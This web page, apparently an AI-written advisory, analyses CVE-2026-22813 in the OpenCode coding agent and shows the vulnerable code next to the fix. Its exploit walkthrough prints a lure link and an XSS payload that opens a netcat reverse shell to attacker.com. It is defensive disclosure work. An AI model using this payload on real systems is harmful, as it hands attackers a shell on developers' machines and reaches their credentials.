CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22813
9.40.04%

OpenCode RCE: When 'Hello World' Becomes 'rm -rf /'

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 20, 2026·5 min read·9 visits

PoC Available

Executive Summary (TL;DR)

OpenCode, a local AI coding agent, allowed users to override the backend API URL via a simple query parameter. Combined with unsanitized Markdown rendering, this allowed attackers to inject malicious JavaScript via a rogue API server. Since the agent has native system access, the XSS payload can trigger local command execution, effectively handing over the developer's shell to the attacker.

A critical vulnerability in the OpenCode AI coding assistant allows attackers to achieve Remote Code Execution (RCE) on a developer's machine. By chaining an insecure API override with Cross-Site Scripting (XSS), an attacker can hijack the agent's privileged local capabilities.

The Hook: Your Assistant is a Double Agent

We all love AI coding assistants. They write boilerplate, they debug our spaghetti code, and they make us feel like 10x engineers. OpenCode is one such tool—a locally running web interface that acts as a frontend for an AI model. To do its job effectively, it needs permissions: it needs to read your files, write code, and execute terminal commands.

That last part is the kicker. When you install OpenCode, you are essentially running a web server on localhost that has direct access to your operating system's shell. It's a loaded gun sitting on your desk, safety off, waiting for instructions.

CVE-2026-22813 isn't some complex memory corruption or a race condition in the kernel. It's a logic flaw that allows a stranger to walk into your office, pick up that gun, and pull the trigger—all because the application trusted user input a little too much.

The Flaw: Trusting Strangers with Candy

The vulnerability stems from a catastrophic combination of two common web sins: unvalidated input and unsanitized output.

First, the OpenCode frontend (React-based) needed to know where to talk to its backend API. Instead of hardcoding localhost:4096 or using a strict configuration file, the developers added a convenience feature: you could override the API server via a URL parameter. If you visited http://localhost:4096/?server=http://my-custom-api.com, the frontend would obediently start fetching chat history and instructions from my-custom-api.com.

Second, the frontend used a Markdown renderer to display the AI's responses. Coding agents need to render bold text, lists, and code blocks. However, the renderer was configured without a sanitizer (like DOMPurify). It trusted the API response implicitly.

So, if the API sends back <img src=x onerror=alert(1)>, the browser executes it. This is standard XSS. But context is king. In a normal web app, XSS steals cookies. Here, XSS controls a tool designed to execute system commands.

The Code: Anatomy of a Disaster

Let's look at the logic that caused this train wreck. In the frontend initialization, the code looked something like this:

// The "convenience" feature
const queryParams = new URLSearchParams(window.location.search);
const apiBase = queryParams.get('server') || 'http://localhost:4096';
 
// ... later in the render loop ...
fetch(`${apiBase}/chat/history`)
  .then(res => res.json())
  .then(data => {
     // The rendering flaw
     document.getElementById('chat').innerHTML = md.render(data.lastMessage);
  });

See the issue? The apiBase is completely attacker-controlled. If I trick you into clicking a link, I control where your local AI fetches its brain.

The fix in version 1.1.10 was twofold. First, they locked down the API origin. You can no longer just swap the backend via a query parameter without explicit whitelisting or local config changes. Second, they implemented strict sanitization on the Markdown renderer:

// The Fix
import DOMPurify from 'dompurify';
 
const cleanHTML = DOMPurify.sanitize(md.render(data.lastMessage));
return <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;

By scrubbing the HTML, even if an attacker manages to spoof the server, the malicious JavaScript payload is stripped out before execution.

The Exploit: From Link to Shell

Here is how an attacker turns this into a full system compromise. The goal is to make the victim's browser execute a shell command via the OpenCode local API.

Step 1: The Trap The attacker sets up a malicious server at evil-api.com. This server mimics the OpenCode API structure but serves a poisoned payload when the frontend asks for chat history.

Step 2: The Lure The attacker sends the victim a link: http://localhost:4096/?server=https://evil-api.com. This looks harmless—it's a localhost link. The victim assumes it's safe because it points to their own machine.

Step 3: The Payload When the victim clicks, their local OpenCode instance fetches the "chat history" from evil-api.com. The malicious server responds with:

{
  "message": "<img src=x onerror=\"fetch('http://localhost:4096/api/execute', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({command:'nc -e /bin/bash attacker.com 1337'})})\">"
}

Step 4: Game Over The frontend renders the image tag. The onerror event fires immediately. The JavaScript inside the event handler makes a fetch request to the legitimate local OpenCode API (/api/execute).

Because the request originates from localhost (the victim's browser), the backend accepts the command. The system executes nc -e /bin/bash..., and the attacker catches a reverse shell. Absolute pwnage.

The Impact: Why We Panic

This vulnerability scores a CVSS 9.4 for a reason. In corporate environments, developers often have access to sensitive source code, cloud credentials (AWS/GCP keys in ~/.aws), and internal networks.

By compromising the developer's workstation via OpenCode, the attacker pivots directly into the internal network. They don't need to bypass the corporate firewall; the developer already did that for them.

This is a classic "Confused Deputy" attack. The web browser is the deputy, tricked by the attacker into abusing the privileges granted to it by the OpenCode backend. It highlights the extreme danger of running local web servers that expose system-level primitives without strict CSRF protection, origin validation, and Content Security Policies.

Official Patches

GitHubRelease notes for version 1.1.10 containing the fix.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.4/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
EPSS Probability
0.04%
Top 88% most exploited

Affected Systems

OpenCode AI Assistant < 1.1.10Developer Workstations running OpenCode

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenCode
anomalyco
< 1.1.101.1.10
AttributeDetail
CVSS v4.09.4 (Critical)
CWE IDsCWE-79, CWE-20
VectorAV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H
Attack VectorNetwork (Drive-by / Phishing)
ImpactRemote Code Execution (RCE)
Exploit StatusHigh (Trivial PoC)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1203Exploitation for Client Execution
Execution
T1059Command and Scripting Interpreter
Execution
CWE-79
Cross-site Scripting

Known Exploits & Detection

SentinelOneTechnical analysis and Proof of Concept attack chain.

Vulnerability Timeline

GHSA-c83v-7274-4vgp Published
2026-01-09
CVE-2026-22813 Assigned & Published
2026-01-12
Patch v1.1.10 Released
2026-01-12
Deep dive analysis released by SentinelOne
2026-01-22

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.